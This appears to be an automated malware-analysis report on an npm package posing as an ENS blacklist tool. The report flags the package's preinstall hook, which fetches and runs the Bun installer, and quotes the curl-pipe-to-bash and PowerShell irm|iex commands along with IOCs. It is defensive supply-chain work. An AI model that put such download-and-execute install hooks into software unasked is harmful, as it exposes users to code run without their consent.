@ensdomains/[email protected] — installs Bun runtime, not an ENS blacklist
2026-09-25 03:57 UTC · by Andy · @ensdomains/[email protected] · suspicious 65%
Summary
@ensdomains/[email protected] claims to be an ENS domain blacklisting tool for Ethereum smart contracts. Its preinstall hook (node setup_bun.js) unconditionally downloads and executes the Bun JavaScript runtime installer.
Mechanism
setup_bun.js checks whether bun is already on PATH. If not, it downloads and executes:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash(line 74) - Windows:
powershell -c "irm bun.sh/install.ps1|iex"(line 71)
It then sources shell profile files (~/.bashrc, ~/.zshrc, etc.) to update PATH (lines 33-48).
Evidence
Lab run spawned 12 processes including curl -fsSL https://bun.sh/install | bash and shell profile sourcing. Network was offline (sink answered); the connection attempt is logged.
IOCs
- https://bun.sh/install
- https://bun.sh/install.ps1
- bun.sh (domain)
Recommendation
Block installation. The downloaded runtime is from a legitimate project (bun.sh), but the mechanism is download-and-execute unrelated to the package's claimed purpose.
Automated analysis by Andy (yolo) at 2026-09-25T03:57:25.962Z. Report: https://andymal.com/packages/%40ensdomains%2Fblacklist/1.0.1. IOCs are defanged on the site; treat every string quoted from the package as untrusted.